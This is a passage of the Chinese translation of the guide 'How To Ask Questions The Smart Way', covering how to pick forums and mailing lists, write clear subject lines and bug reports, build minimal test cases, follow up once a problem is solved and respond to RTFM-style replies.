
  • 在与主题不合的论坛上贴出你的问题。
  • 在探讨进阶技术问题的论坛张贴非常初级的问题;反之亦然。
  • 在太多的不同新闻群组上重复转贴同样的问题(cross-post)。
  • 向既非熟人也没有义务解决你问题的人发送私人电邮。

黑客会剔除掉那些搞错场合的问题,以保护他们沟通的渠道不被无关的东西淹没。你不会想让这种事发生在自己身上的。

因此,第一步是找到对的论坛。再说一次,Google 和其它搜索引擎还是你的朋友,用它们来找到与你遭遇到困难的软硬件问题最相关的网站。通常那儿都有常见问题(FAQ)、邮件列表及相关说明文件的链接。如果你的努力(包括阅读 FAQ)都没有结果,网站上也许还有报告 Bug(Bug-reporting)的流程或链接,如果是这样,链过去看看。

向陌生的人或论坛发送邮件最可能是风险最大的事情。举例来说,别假设一个提供丰富内容的网页的作者会想充当你的免费顾问。不要对你的问题是否会受到欢迎做太乐观的估计 —— 如果你不确定,那就向别处发送,或者压根别发。

在选择论坛、新闻群组或邮件列表时,别太相信它的名字,先看看 FAQ 或者许可书以弄清楚你的问题是否切题。发文前先翻翻已有的话题,这样可以让你感受一下那里的文化。事实上,事先在新闻组或邮件列表的历史记录中搜索与你问题相关的关键词是个极好的主意,也许这样就找到答案了。即使没有,也能帮助你归纳出更好的问题。

别像机关枪似的一次“扫射”所有的帮助渠道,这就像大喊大叫一样会使人不快。要一个一个地来。

搞清楚你的主题!最典型的错误之一是在某种致力于跨平台可移植的语言、套件或工具的论坛中提关于 Unix 或 Windows 操作系统程序界面的问题。如果你不明白为什么这是大错,最好在搞清楚这之间差异之前什么也别问。

一般来说,在仔细挑选的公共论坛中提问,会比在私有论坛中提同样的问题更容易得到有用的回答。有几个理由可以支持这点,一是看潜在的回复者有多少,二是看观众有多少。黑客较愿意回答那些能帮助到许多人的问题。

可以理解的是,老练的黑客和一些热门软件的作者正在接受过多的错发信息。就像那根最后压垮骆驼背的稻草一样,你的加入也有可能使情况走向极端 —— 已经好几次了,一些热门软件的作者由于涌入其私人邮箱的大量不堪忍受的无用邮件而不再提供支持。

Stack Overflow

搜索,然后在 Stack Exchange 问。

近年来,Stack Exchange 社区已经成为回答技术及其他问题的主要渠道,尤其是那些开放源码的项目。

因为 Google 索引是即时的,在看 Stack Exchange 之前先在 Google 搜索。有很高的几率某人已经问了一个类似的问题,而且 Stack Exchange 网站们往往会是搜索结果中最前面几个。如果你在 Google 上没有找到任何答案,你再到特定相关主题的网站去找。用标签(Tag)搜索能让你更缩小你的搜索结果。

如果你还是找不到任何对你的问题有用的内容,请把你的问题发在与它最相关的网站上。提问的时候请善用格式化工具,尤其注意为代码添加格式,并且添加相关的标签(特别是编程语言、操作系统或库/包的名称)。当有人要求你提供更多相关信息时,请编辑你的贴子来补充它们[译注:而不是发一个回帖或回答!]。如果你觉得一个答案对你有帮助,点击向上的箭头来为它投票;如果一个答案提供了问题的正确解决方案,点击投票按钮下方的对勾来将它标记为正解。

Stack Exchange 已经成长到超过一百个网站,以下是最常用的几个站:

  • Super User 是问一些通用的电脑问题,如果你的问题跟代码或是写程序无关,只是一些网络连线之类的,请到这里。
  • Stack Overflow 是问写程序有关的问题。
  • Server Fault 是问服务器和网管相关的问题。

网站和 IRC 论坛

本地的用户群组(user group),或者你所用的 Linux 发行版本也许正在宣传他们的网页论坛或 IRC 频道,并提供新手帮助(在一些非英语国家,新手论坛很可能还是邮件列表),这些都是开始提问的好地方,特别是当你觉得遇到的也许只是相对简单或者很普通的问题时。有广告赞助的 IRC 频道是公开欢迎提问的地方,通常可以即时得到回应。

事实上,如果程序出的问题只发生在特定 Linux 发行版提供的版本(这很常见),最好先去该发行版的论坛或邮件列表中提问,再到程序本身的论坛或邮件列表提问。(否则)该项目的黑客可能仅仅回复“使用我们的版本”。

在任何论坛发文以前,先确认一下有没有搜索功能。如果有,就试着搜索一下问题的几个关键词,也许这会有帮助。如果在此之前你已做过通用的网页搜索(你也该这样做),还是再搜索一下论坛,搜索引擎有可能没来得及索引此论坛的全部内容。

通过论坛或 IRC 频道来提供用户支持服务有增长的趋势,电子邮件则大多为项目开发者间的交流而保留。所以最好先在论坛或 IRC 中寻求与该项目相关的协助。

在使用 IRC 的时候,首先最好不要发布很长的问题描述,有些人称之为频道洪水。最好通过一句话的问题描述来开始聊天。

第二步,使用项目邮件列表

当某个项目提供开发者邮件列表时,要向列表而不是其中的个别成员提问,即使你确信他能最好地回答你的问题。查一查项目的文件和首页,找到项目的邮件列表并使用它。有几个很好的理由支持我们采用这种办法:

  • 任何好到需要向个别开发者提出的问题,也将对整个项目群组有益。反之,如果你认为自己的问题对整个项目群组来说太愚蠢,那这也不能成为骚扰个别开发者的理由。
  • 向列表提问可以分散开发者的负担,个别开发者(尤其是项目领导人)也许太忙以至于没法回答你的问题。
  • 大多数邮件列表都会被存档,那些被存档的内容将被搜索引擎索引。如果你向列表提问并得到解答,将来其他人可以通过网页搜索找到你的问题和答案,也就不用再次发问了。
  • 如果某些问题经常被问到,开发者可以利用此信息来改进说明文件或软件本身,以使其更清楚。如果只是私下提问,就没有人能看到最常见问题的完整场景。

如果一个项目既有“用户”也有“开发者”(或“黑客”)邮件列表或论坛,而你又不会动到那些源代码,那么就向“用户”列表或论坛提问。不要假设自己会在开发者列表中受到欢迎,那些人多半会将你的提问视为干扰他们开发的噪音。

然而,如果你确信你的问题很特别,而且在“用户”列表或论坛中几天都没有回复,可以试试前往“开发者”列表或论坛发问。建议你在张贴前最好先暗地里观察几天以了解那里的行事方式(事实上这是参与任何私有或半私有列表的好主意)

如果你找不到一个项目的邮件列表,而只能查到项目维护者的电子邮件地址,尽管向他发信。即使是在这种情况下,也别假设(项目)邮件列表不存在。在你的电子邮件中,请陈述你已经试过但没有找到合适的邮件列表,也提及你不反对将自己的邮件转发给他人(许多人认为,即使没什么秘密,私人电子邮件也不应该被公开。通过允许将你的电子邮件转发他人,你给了相应人员处置你邮件的选择)。

使用有意义且描述明确的标题

在邮件列表、新闻群组或论坛中,大约 50 字以内的标题是抓住资深专家注意力的好机会。别用喋喋不休的帮帮忙跪求(更别说救命啊!!!!这样让人反感的话,用这种标题会被条件反射式地忽略)来浪费这个机会。不要妄想用你的痛苦程度来打动我们,而应该是在这点空间中使用极简单扼要的描述方式来提出问题。

一个好标题范例是目标 —— 差异式的描述,许多技术支持组织就是这样做的。在目标部分指出是哪一个或哪一组东西有问题,在差异部分则描述与期望的行为不一致的地方。

蠢问题:救命啊!我的笔记本电脑不能正常显示了!

聪明问题:X.org 6.8.1 的鼠标指针会变形,某牌显卡 MV1005 芯片组。

更聪明问题:X.org 6.8.1 的鼠标指针,在某牌显卡 MV1005 芯片组环境下 - 会变形。

编写目标 —— 差异 式描述的过程有助于你组织对问题的细致思考。是什么被影响了? 仅仅是鼠标指针或者还有其它图形?只在 X.org 的 X 版中出现?或只是出现在 6.8.1 版中? 是针对某牌显卡芯片组?或者只是其中的 MV1005 型号? 一个黑客只需瞄一眼就能够立即明白你的环境你遇到的问题。

总而言之,请想像一下你正在一个只显示标题的存档讨论串(Thread)索引中查寻。让你的标题更好地反映问题,可使下一个搜索类似问题的人能够关注这个讨论串,而不用再次提问相同的问题。

如果你想在回复中提出问题,记得要修改内容标题,以表明你是在问一个问题, 一个看起来像 Re: 测试 或者 Re: 新 bug 的标题很难引起足够重视。另外,在不影响连贯性之下,适当引用并删减前文的内容,能给新来的读者留下线索。

对于讨论串,不要直接点击回复来开始一个全新的讨论串,这将限制你的观众。因为有些邮件阅读程序,比如 mutt ,允许用户按讨论串排序并通过折叠讨论串来隐藏消息,这样做的人永远看不到你发的消息。

仅仅改变标题还不够。mutt 和其它一些邮件阅读程序还会检查邮件标题以外的其它信息,以便为其指定讨论串。所以宁可发一个全新的邮件。

在网页论坛上,好的提问方式稍有不同,因为讨论串与特定的信息紧密结合,并且通常在讨论串外就看不到里面的内容,故通过回复提问,而非改变标题是可接受的。不是所有论坛都允许在回复中出现分离的标题,而且这样做了基本上没有人会去看。不过,通过回复提问,这本身就是暧昧的做法,因为它们只会被正在查看该标题的人读到。所以,除非你只想在该讨论串当前活跃的人群中提问,不然还是另起炉灶比较好。

使问题容易回复

请将你的回复发送到……来结束你的问题多半会使你得不到回答。如果你觉得花几秒钟在邮件客户端设置一下回复地址都麻烦,我们也觉得花几秒钟思考你的问题更麻烦。如果你的邮件程序不支持这样做,换个好点的;如果是操作系统不支持这种邮件程序,也换个好点的。

在论坛,要求通过电子邮件回复是非常无礼的,除非你认为回复的信息可能比较敏感(有人会为了某些未知的原因,只让你而不是整个论坛知道答案)。如果你只是想在有人回复讨论串时得到电子邮件提醒,可以要求网页论坛发送给你。几乎所有论坛都支持诸如追踪此讨论串有回复时发送邮件提醒等功能。

使用清晰、正确、精准且合乎语法的语句

我们从经验中发现,粗心的提问者通常也会粗心地写程序与思考(我敢打包票)。回答粗心大意者的问题很不值得,我们宁愿把时间耗在别处。

正确的拼写、标点符号和大小写是很重要的。一般来说,如果你觉得这样做很麻烦,不想在乎这些,那我们也觉得麻烦,不想在乎你的提问。花点额外的精力斟酌一下字句,用不着太僵硬与正式 —— 事实上,黑客文化很看重能准确地使用非正式、俚语和幽默的语句。但它必须很准确,而且有迹象表明你是在思考和关注问题。

正确地拼写、使用标点和大小写,不要将its混淆为it'sloose搞成lose或者将discrete弄成discreet。不要全部用大写,这会被视为无礼的大声嚷嚷(全部小写也好不到哪去,因为不易阅读。Alan Cox 也许可以这样做,但你不行)。

更白话的说,如果你写得像是个半文盲[译注:小白],那多半得不到理睬。也不要使用即时通信中的简写或火星文,如将简化为d会使你看起来像一个为了少打几个键而省字的小白。更糟的是,如果像个小孩似地鬼画符那绝对是在找死,可以肯定没人会理你(或者最多是给你一大堆指责与挖苦)。

如果在使用非母语的论坛提问,你可以犯点拼写和语法上的小错,但决不能在思考上马虎(没错,我们通常能弄清两者的分别)。同时,除非你知道回复者使用的语言,否则请使用英语书写。繁忙的黑客一般会直接删除用他们看不懂的语言写的消息。在网络上英语是通用语言,用英语书写可以将你的问题在尚未被阅读就被直接删除的可能性降到最低。

如果英文是你的外语(Second language),提示潜在回复者你有潜在的语言困难是很好的:
[译注:以下附上原文以供使用]

English is not my native language; please excuse typing errors.

  • 英文不是我的母语,请原谅我的错字或语法。

If you speak $LANGUAGE, please email/PM me;
I may need assistance translating my question.

  • 如果你说某语言,请向我发电邮/私信;
  • 我需要有人协助我翻译我的问题。

I am familiar with the technical terms,
but some slang expressions and idioms are difficult for me.

  • 我对技术名词很熟悉,但对于俗语或是特别用法不甚了解。

I’ve posted my question in $LANGUAGE and English.
I’ll be glad to translate responses, if you only use one or the other.

  • 我把我的问题用某语言和英文写出来。
  • 如果你只用其中的一种语言回答,我会乐意将回复翻译成为你使用的语言。

使用易于读取且标准的文件格式发送问题

如果你人为地将问题搞得难以阅读,它多半会被忽略,人们更愿读易懂的问题,所以:

  • 使用纯文字而不是 HTML (关闭 HTML 并不难)。
  • 使用 MIME 附件通常是可以的,前提是真正有内容(譬如附带的源代码或 patch),而不仅仅是邮件程序生成的模板(譬如只是信件内容的拷贝)。
  • 不要发送一段文字只是一行句子但自动换行后会变成多行的邮件(这使得回复部分内容非常困难)。设想你的读者是在 80 个字符宽的终端机上阅读邮件,最好设置你的换行分割点小于 80 字。
  • 但是,对一些特殊的文件不要设置固定宽度(譬如日志文件拷贝或会话记录)。数据应该原样包含,让回复者有信心他们看到的是和你看到的一样的东西。
  • 在英语论坛中,不要使用Quoted-Printable MIME 编码发送消息。这种编码对于张贴非 ASCII 语言可能是必须的,但很多邮件程序并不支持这种编码。当它们处理换行时,那些文本中四处散布的=20符号既难看也分散注意力,甚至有可能破坏内容的语意。
  • 绝对,永远不要指望黑客们阅读使用封闭格式编写的文档,像微软公司的 Word 或 Excel 文件等。大多数黑客对此的反应就像有人将还在冒热气的猪粪倒在你家门口时你的反应一样。即便他们能够处理,他们也很厌恶这么做。
  • 如果你从使用 Windows 的电脑发送电子邮件,关闭微软愚蠢的智能引号功能 (从[选项] > [校订] > [自动校正选项],勾选掉智能引号单选框),以免在你的邮件中到处散布垃圾字符。
  • 在论坛,勿滥用表情符号HTML功能(当它们提供时)。一两个表情符号通常没有问题,但花哨的彩色文本倾向于使人认为你是个无能之辈。过滥地使用表情符号、色彩和字体会使你看来像个傻笑的小姑娘。这通常不是个好主意,除非你只是对性而不是对答案感兴趣。

如果你使用图形用户界面的邮件程序(如微软公司的 Outlook 或者其它类似的),注意它们的默认设置不一定满足这些要求。大多数这类程序有基于选单的查看源代码命令,用它来检查发送文件夹中的邮件,以确保发送的是纯文本文件同时没有一些奇怪的字符。

精确地描述问题并言之有物

  • 仔细、清楚地描述你的问题或 Bug 的症状。
  • 描述问题发生的环境(机器配置、操作系统、应用程序、以及相关的信息),提供经销商的发行版和版本号(如:Fedora Core 4Slackware 9.1等)。
  • 描述在提问前你是怎样去研究和理解这个问题的。
  • 描述在提问前为确定问题而采取的诊断步骤。
  • 描述最近做过什么可能相关的硬件或软件变更。
  • 尽可能地提供一个可以重现这个问题的可控环境的方法。

尽量去揣测一个黑客会怎样反问你,在你提问之前预先将黑客们可能提出的问题回答一遍。

以上几点中,当你报告的是你认为可能在代码中的问题时,给黑客一个可以重现你的问题的环境尤其重要。当你这么做时,你得到有效的回答的机会和速度都会大大的提升。

Simon Tatham 写过一篇名为《如何有效的报告 Bug》的出色文章。强力推荐你也读一读。

话不在多而在精

你需要提供精确有内容的信息。这并不是要求你简单的把成堆的出错代码或者资料完全转录到你的提问中。如果你有庞大而复杂的测试样例能重现程序挂掉的情境,尽量将它剪裁得越小越好。

这样做的用处至少有三点。
第一,表现出你为简化问题付出了努力,这可以使你得到回答的机会增加;
第二,简化问题使你更有可能得到有用的答案;
第三,在精炼你的 bug 报告的过程中,你很可能就自己找到了解决方法或权宜之计。

别动辄声称找到 Bug

当你在使用软件中遇到问题,除非你非常、非常的有根据,不要动辄声称找到了 Bug。提示:除非你能提供解决问题的源代码补丁,或者提供回归测试来表明前一版本中行为不正确,否则你都多半不够完全确信。这同样适用在网页和文件,如果你(声称)发现了文件的Bug,你应该能提供相应位置的修正或替代文件。

请记得,还有其他许多用户没遇到你发现的问题,否则你在阅读文件或搜索网页时就应该发现了(你在抱怨前已经做了这些,是吧?)。这也意味着很有可能是你弄错了而不是软件本身有问题。

编写软件的人总是非常辛苦地使它尽可能完美。如果你声称找到了 Bug,也就是在质疑他们的能力,即使你是对的,也有可能会冒犯到其中某部分人。当你在标题中嚷嚷着有Bug时,这尤其严重。

提问时,即使你私下非常确信已经发现一个真正的 Bug,最好写得像是做错了什么。如果真的有 Bug,你会在回复中看到这点。这样做的话,如果真有 Bug,维护者就会向你道歉,这总比你惹恼别人然后欠别人一个道歉要好一点。

低声下气不能代替你的功课

有些人明白他们不该粗鲁或傲慢的提问并要求得到答复,但他们选择另一个极端 —— 低声下气:我知道我只是个可悲的新手,一个撸瑟,但...。这既使人困扰,也没有用,尤其是伴随着与实际问题含糊不清的描述时更令人反感。

别用原始灵长类动物的把戏来浪费你我的时间。取而代之的是,尽可能清楚地描述背景条件和你的问题情况。这比低声下气更好地定位了你的位置。

有时网页论坛会设有专为新手提问的版面,如果你真的认为遇到了初学者的问题,到那去就是了,但一样别那么低声下气。

描述问题症状而非你的猜测

告诉黑客们你认为问题是怎样造成的并没什么帮助。(如果你的推断如此有效,还用向别人求助吗?),因此要确信你原原本本告诉了他们问题的症状,而不是你的解释和理论;让黑客们来推测和诊断。如果你认为陈述自己的猜测很重要,清楚地说明这只是你的猜测,并描述为什么它们不起作用。

蠢问题

我在编译内核时接连遇到 SIG11 错误,
我怀疑某条飞线搭在主板的走线上了,这种情况应该怎样检查最好?

聪明问题

我的组装电脑是 FIC-PA2007 主机板搭载 AMD K6/233 CPU(威盛 Apollo VP2 芯片组),
256MB Corsair PC133 SDRAM 内存,在编译内核时,从开机 20 分钟以后就频频产生 SIG11 错误,
但是在头 20 分钟内从没发生过相同的问题。重新启动也没有用,但是关机一晚上就又能工作 20 分钟。
所有内存都换过了,没有效果。相关部分的标准编译记录如下…

由于以上这点似乎让许多人觉得难以配合,这里有句话可以提醒你:所有的诊断专家都来自密苏里州。 美国国务院的官方座右铭则是:让我看看(出自国会议员 Willard D. Vandiver 在 1899 年时的讲话:我来自一个出产玉米,棉花,牛蒡和民主党人的国家,滔滔雄辩既不能说服我,也不会让我满意。我来自密苏里州,你必须让我看看。) 针对诊断者而言,这并不是一种怀疑,而只是一种真实而有用的需求,以便让他们看到的是与你看到的原始证据尽可能一致的东西,而不是你的猜测与归纳的结论。所以,大方地展示给我们看吧!

按发生时间先后列出问题症状

问题发生前的一系列操作,往往就是对找出问题最有帮助的线索。因此,你的说明里应该包含你的操作步骤,以及机器和软件的反应,直到问题发生。在命令行处理的情况下,提供一段操作记录(例如运行脚本工具所生成的),并引用相关的若干行(如 20 行)记录会非常有帮助。

如果挂掉的程序有诊断选项(如 -v 的详述开关),试着选择这些能在记录中增加调试信息的选项。记住,不等于。试着选取适当的调试级别以便提供有用的信息而不是让读者淹没在垃圾中。

如果你的说明很长(如超过四个段落),在开头简述问题,接下来再按时间顺序详述会有所帮助。这样黑客们在读你的记录时就知道该注意哪些内容了。

描述目标而不是过程

如果你想弄清楚如何做某事(而不是报告一个 Bug),在开头就描述你的目标,然后才陈述重现你所卡住的特定步骤。

经常寻求技术帮助的人在心中有个更高层次的目标,而他们在自以为能达到目标的特定道路上被卡住了,然后跑来问该怎么走,但没有意识到这条路本身就有问题。结果要费很大的劲才能搞定。

蠢问题

我怎样才能从某绘图程序的颜色选择器中取得十六进制的 RGB 值?

聪明问题

我正试着用替换一幅图片的色码(color table)成自己选定的色码,我现在知道的唯一方法是编辑每个色码区块(table slot),
但却无法从某绘图程序的颜色选择器取得十六进制的 RGB 值。

第二种提问法比较聪明,你可能得到像是建议采用另一个更合适的工具的回复。

别要求使用私人电邮回复

黑客们认为问题的解决过程应该公开、透明,此过程中如果更有经验的人注意到不完整或者不当之处,最初的回复才能够、也应该被纠正。同时,作为提供帮助者可以得到一些奖励,奖励就是他的能力和学识被其他同行看到。

当你要求私下回复时,这个过程和奖励都被中止。别这样做,让回复者来决定是否私下回答 —— 如果他真这么做了,通常是因为他认为问题编写太差或者太肤浅,以至于不可能使其他人产生兴趣。

这条规则存在一条有限的例外,如果你确信提问可能会引来大量雷同的回复时,那么这个神奇的提问句会是向我发电邮,我将为论坛归纳这些回复。试着将邮件列表或新闻群组从洪水般的雷同回复中解救出来是非常有礼貌的 —— 但你必须信守诺言。

清楚明确地表达你的问题以及需求

漫无边际的提问是近乎无休无止的时间黑洞。最有可能给你有用答案的人通常也正是最忙的人(他们忙是因为要亲自完成大部分工作)。这样的人对无节制的时间黑洞相当厌恶,所以他们也倾向于厌恶那些漫无边际的提问。

如果你明确表述需要回答者做什么(如提供指点、发送一段代码、检查你的补丁、或是其他等等),就最有可能得到有用的答案。因为这会定出一个时间和精力的上限,便于回答者能集中精力来帮你。这么做很棒。

要理解专家们所处的世界,请把专业技能想像为充裕的资源,而回复的时间则是稀缺的资源。你要求他们奉献的时间越少,你越有可能从真正专业而且很忙的专家那里得到解答。

所以,界定一下你的问题,使专家花在辨识你的问题和回答所需要付出的时间减到最少,这技巧对你获得有用的答案相当有帮助 —— 但这技巧通常和简化问题有所区别。因此,问我想更好地理解 X,可否指点一下哪有好一点说明?通常比问你能解释一下 X 吗?更好。如果你的代码不能运作,通常请别人看看哪里有问题,比要求别人替你改正要明智得多。

询问有关代码的问题时

如果没有提示别人应该从何入手,别要求他人帮你调试有问题的代码。张贴几百行的代码,然后说一声:它不能工作会让你完全被忽略。只贴几十行代码,然后说一句:在第七行以后,我期待它显示 <x>,但实际出现的是 <y>比较有可能让你得到回应。

最有效描述程序问题的方法是提供最精简的 Bug 展示测试用例(bug-demonstrating test case)。什么是最精简的测试用例?那是问题的缩影;一小个程序片段能刚好展示出程序的异常行为,而不包含其他令人分散注意力的内容。怎么制作最精简的测试用例?如果你知道哪一行或哪一段代码会造成异常的行为,复制下来并加入足够重现这个状况的代码(例如,足以让这段代码能被编译/直译/被应用程序处理)。如果你无法将问题缩减到一个特定区块,就复制一份代码并移除不影响产生问题行为的部分。总之,测试用例越小越好(查看话不在多而在精一节)。

一般而言,要得到一段相当精简的测试用例并不太容易,但永远先尝试这样做是一个好习惯。这种方式可以帮助你了解如何自行解决这个问题 —— 而且即使你的尝试不成功,黑客们也会看到你在尝试取得答案的过程中付出了努力,这可以让他们更愿意与你合作。

如果你只是想让别人帮忙审查(Review)一下代码,在信的开头就要说出来,并且一定要提到你认为哪一部分特别需要关注以及为什么。

别把自己家庭作业的问题贴上来

黑客们很擅长分辨哪些问题是家庭作业式的问题;因为我们中的大多数都曾自己解决这类问题。同样,这些问题得由来搞定,你会从中学到东西。你可以要求给点提示,但别要求得到完整的解决方案。

如果你怀疑自己碰到了一个家庭作业式的问题,但仍然无法解决,试试在用户群组,论坛或(最后一招)在项目的用户邮件列表或论坛中提问。尽管黑客们看出来,但一些有经验的用户也许仍会给你一些提示。

去掉无意义的提问句

避免用无意义的话结束提问,例如有人能帮我吗?或者这有答案吗?

首先:如果你对问题的描述不是很好,这样问更是画蛇添足。

其次:由于这样问是画蛇添足,黑客们会很厌烦你 —— 而且通常会用逻辑上正确,但毫无意义的回答来表示他们的蔑视, 例如:没错,有人能帮你或者不,没答案

一般来说,避免用 是或否对或错有或没有类型的问句,除非你想得到是或否类型的回答

即使你很急也不要在标题写紧急

这是你的问题,不是我们的。宣称紧急极有可能事与愿违:大多数黑客会直接删除无礼和自私地企图即时引起关注的问题。更严重的是,紧急这个字(或是其他企图引起关注的标题)通常会被垃圾信过滤器过滤掉 —— 你希望能看到你问题的人可能永远也看不到。

有半个例外的情况是,如果你是在一些很高调,会使黑客们兴奋的地方,也许值得这样去做。在这种情况下,如果你有时间压力,也很有礼貌地提到这点,人们也许会有兴趣回答快一点。

当然,这风险很大,因为黑客们兴奋的点多半与你的不同。譬如从 NASA 国际空间站(International Space Station)发这样的标题没有问题,但用自我感觉良好的慈善行为或政治原因发肯定不行。事实上,张贴诸如紧急:帮我救救这个毛茸茸的小海豹!肯定让你被黑客忽略或惹恼他们,即使他们认为毛茸茸的小海豹很重要。

如果你觉得这点很不可思议,最好再把这份指南剩下的内容多读几遍,直到你弄懂了再发文。

礼多人不怪,而且有时还很有帮助

彬彬有礼,多用谢谢您的关注,或谢谢你的关照。让大家都知道你对他们花时间免费提供帮助心存感激。

坦白说,这一点并没有比使用清晰、正确、精准且合乎语法和避免使用专用格式重要(也不能取而代之)。黑客们一般宁可读有点唐突但技术上鲜明的 Bug 报告,而不是那种有礼但含糊的报告。(如果这点让你不解,记住我们是按问题能教给我们什么来评价问题的价值的)

然而,如果你有一串的问题待解决,客气一点肯定会增加你得到有用回应的机会。

(我们注意到,自从本指南发布后,从资深黑客那里得到的唯一严重缺陷反馈,就是对预先道谢这一条。一些黑客觉得先谢了意味着事后就不用再感谢任何人的暗示。我们的建议是要么先说先谢了然后事后再对回复者表示感谢,或者换种方式表达感激,譬如用谢谢你的关注谢谢你的关照。)

问题解决后,加个简短的补充说明

问题解决后,向所有帮助过你的人发个说明,让他们知道问题是怎样解决的,并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了广泛关注,应该在那里贴一个说明比较恰当。

最理想的方式是向最初提问的话题回复此消息,并在标题中包含已修正已解决或其它同等含义的明显标记。在人来人往的邮件列表里,一个看见讨论串问题 X问题 X - 已解决的潜在回复者就明白不用再浪费时间了(除非他个人觉得问题 X有趣),因此可以利用此时间去解决其它问题。

补充说明不必很长或是很深入;简单的一句你好,原来是网线出了问题!谢谢大家 – Bill比什么也不说要来的好。事实上,除非结论真的很有技术含量,否则简短可爱的小结比长篇大论更好。说明问题是怎样解决的,但大可不必将解决问题的过程复述一遍。

对于有深度的问题,张贴调试记录的摘要是有帮助的。描述问题的最终状态,说明是什么解决了问题,在此之后才指明可以避免的盲点。避免盲点的部分应放在正确的解决方案和其它总结材料之后,而不要将此信息搞成侦探推理小说。列出那些帮助过你的名字,会让你交到更多朋友。

除了有礼貌和有内涵以外,这种类型的补充也有助于他人在邮件列表/新闻群组/论坛中搜索到真正解决你问题的方案,让他们也从中受益。

至少,这种补充有助于让每位参与协助的人因问题的解决而从中得到满足感。如果你自己不是技术专家或者黑客,那就相信我们,这种感觉对于那些你向他们求助的大师或者专家而言,是非常重要的。问题悬而未决会让人灰心;黑客们渴望看到问题被解决。好人有好报,满足他们的渴望,你会在下次提问时尝到甜头。

思考一下怎样才能避免他人将来也遇到类似的问题,自问写一份文件或加个常见问题(FAQ)会不会有帮助。如果是的话就将它们发给维护者。

在黑客中,这种良好的后继行动实际上比传统的礼节更为重要,也是你如何透过善待他人而赢得声誉的方式,这是非常有价值的资产。

如何解读答案

RTFM 和 STFW:如何知道你已完全搞砸了

有一个古老而神圣的传统:如果你收到RTFM(Read The Fucking Manual)的回应,回答者认为你应该去读他妈的手册。当然,基本上他是对的,你应该去读一读。

RTFM 有一个年轻的亲戚。如果你收到STFW(Search The Fucking Web)的回应,回答者认为你应该到他妈的网上搜索。那人多半也是对的,去搜索一下吧。(更温和一点的说法是 Google 是你的朋友!)

在论坛,你也可能被要求去爬爬论坛的旧文。事实上,有人甚至可能热心地为你提供以前解决此问题的讨论串。但不要依赖这种关照,提问前应该先搜索一下旧文。

通常,用这两句之一回答你的人会给你一份包含你需要内容的手册或者一个网址,而且他们打这些字的时候也正在读着。这些答复意味着回答者认为:

  • 你需要的信息非常容易获得
  • 你自己去搜索这些信息比灌给你,能让你学到更多

你不应该因此不爽;依照黑客的标准,他已经表示了对你一定程度的关注,而没有对你的要求视而不见。你应该对他祖母般的慈祥表示感谢。

如果还是搞不懂

如果你看不懂回应,别立刻要求对方解释。像你以前试着自己解决问题时那样(利用手册,FAQ,网络,身边的高手),先试着去搞懂他的回应。如果你真的需要对方解释,记得表现出你已经从中学到了点什么。

比方说,如果我回答你:看来似乎是 zentry 卡住了;你应该先清除它。,然后,这是一个很糟的后续问题回应:zentry 是什么? 的问法应该是这样:哦~~~我看过说明了但是只有 -z 和 -p 两个参数中提到了 zentries,而且还都没有清楚的解释如何清除它。你是指这两个中的哪一个吗?还是我看漏了什么?

处理无礼的回应

很多黑客圈子中看似无礼的行为并不是存心冒犯。相反,它是直截了当,一针见血式的交流风格,这种风格更注重解决问题,而不是使人感觉舒服而却模模糊糊。

如果你觉得被冒犯了,试着平静地反应。如果有人真的做了出格的事,邮件列表、新闻群组或论坛中的前辈多半会招呼他。如果这没有发生而你却发火了,那么你发火对象的言语可能在黑客社区中看起来是正常的,而将被视为有错的一方,这将伤害到你获取信息或帮助的机会。

另一方面,你偶尔真的会碰到无礼和无聊的言行。与上述相反,对真正的冒犯者狠狠地打击,用犀利的语言将其驳得体无完肤都是可以接受的。然而,在行事之前一定要非常非常的有根据。纠正无礼的言论与开始一场毫无意义的口水战仅一线之隔,黑客们自己莽撞地越线的情况并不鲜见。如果你是新手或外人,避开这种莽撞的机会并不高。如果你想得到的是信息而不是消磨时光,这时最好不要把手放在键盘上以免冒险。

(有些人断言很多黑客都有轻度的自闭症或亚斯伯格综合症,缺少用于润滑人类社会正常交往所需的神经。这既可能是真也可能是假的。如果你自己不是黑客,兴许你认为我们脑袋有问题还能帮助你应付我们的古怪行为。只管这么干好了,我们不在乎。我们喜欢我们现在这个样子,并且通常对病患标记都有站得住脚的怀疑。)

Jeff Bigler 的观察总结和这个相关也值得一读 (tact filters)。

在下一节,我们会谈到另一个问题,当行为不当时所会受到的冒犯

如何避免扮演失败者

在黑客社区的论坛中,你以本指南所描述的或类似的方式,可能会有那么几次搞砸了。而你会在公开场合中被告知你是如何搞砸的,也许攻击的言语中还会带点夹七夹八的颜色。

这种事发生以后,你能做的最糟糕的事莫过于哀嚎你的遭遇、宣称被言语攻击、要求道歉、高声尖叫、憋闷气、威胁诉诸法律、向其雇主报怨、不去关马桶盖等等。相反地,你该这么做:

熬过去,这很正常。事实上,它是有益健康且合理的。

社区的标准不会自行维持,它们是通过参与者积极而公开地执行来维持的。不要哭嚎所有的批评都应该通过私下的邮件传送,它不是这样运作的。当有人评论你的一个说法有误或者提出不同看法时,坚持声称受到个人攻击也毫无益处,这些都是失败者的态度。

也有其它的黑客论坛,受过高礼节要求的误导,禁止参与者张贴任何对别人帖子挑毛病的消息,并声称如果你不想帮助用户就闭嘴。 结果造成有想法的参与者纷纷离开,这么做只会使它们沦为毫无意义的唠叨与无用的技术论坛。

夸张的讲法是:你要的是“友善”(以上述方式)还是有用?两个里面挑一个。

记着:当黑客说你搞砸了,并且(无论多么刺耳)告诉你别再这样做时,他正在为关心他的社区而行动。对他而言,不理你并将你从他的生活中滤掉更简单。如果你无法做到感谢,至少要表现得有点尊严,别大声哀嚎,也别因为自己是个有戏剧性超级敏感的灵魂和自以为有资格的新来者,就指望别人像对待脆弱的洋娃娃那样对你。

有时候,即使你没有搞砸(或者只是在他的想像中你搞砸了),有些人也会无缘无故地攻击你本人。在这种情况下,抱怨倒是真的会把问题搞砸。

这些来找麻烦的人要么是毫无办法但自以为是专家的不中用家伙,要么就是测试你是否真会搞砸的心理专家。其它读者要么不理睬,要么用自己的方式对付他们。这些来找麻烦的人在给他们自己找麻烦,这点你不用操心。

也别让自己卷入口水战,最好不要理睬大多数的口水战 —— 当然,这是在你检验它们只是口水战,并且未指出你有搞砸的地方,同时也没有巧妙地将问题真正的答案藏于其后(这也是有可能的)。

不该问的问题

以下是几个经典蠢问题,以及黑客没回答时心中所想的:

问题:我能在哪找到 X 程序或 X 资源?

问题:我怎样用 X 做 Y?

问题:如何设定我的 shell 提示?

